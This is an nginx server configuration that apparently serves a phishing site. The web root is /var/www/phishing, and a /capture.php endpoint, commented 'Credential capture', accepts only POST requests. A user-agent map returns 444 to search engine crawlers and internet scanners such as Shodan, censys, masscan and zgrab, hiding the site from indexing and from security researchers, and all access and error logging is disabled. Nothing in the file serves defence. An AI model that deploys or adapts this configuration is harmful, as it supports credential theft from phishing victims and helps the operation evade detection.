map $http_user_agent $block_scanner {
    default 0;
    ~*Googlebot 1;
    ~*bingbot 1;
    ~*Slurp 1;
    ~*DuckDuckBot 1;
    ~*Baiduspider 1;
    ~*YandexBot 1;
    ~*Sogou 1;
    ~*Exabot 1;
    ~*facebot 1;
    ~*ia_archiver 1;
    ~*msnbot 1;
    ~*AhrefsBot 1;
    ~*SemrushBot 1;
    ~*MJ12bot 1;
    ~*DotBot 1;
    ~*BLEXBot 1;
    ~*masscan 1;
    ~*zgrab 1;
    ~*Shodan 1;
    ~*censys 1;
}

server {
    listen 80;
    server_name _;

    add_header X-Robots-Tag "noindex, noarchive";

    if ($block_scanner) { return 444; }

    root /var/www/phishing;
    index index.html index.php;

    # Disable all logging
    access_log off;
    error_log /dev/null crit;
    
    # Credential capture — only POST to this exact path
    location = /capture.php {
        limit_except POST { deny all; }
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    }

    # Deny all other PHP execution
    location ~ \.php$ { deny all; }
    
    # Template routing
    location /templates/ {
        try_files $uri $uri/ =404;
    }
    
    # Static resources
    location /static/ {
        try_files $uri $uri/ =404;
    }
    
    # Default
    location / {
        try_files $uri $uri/ /index.html;
    }
}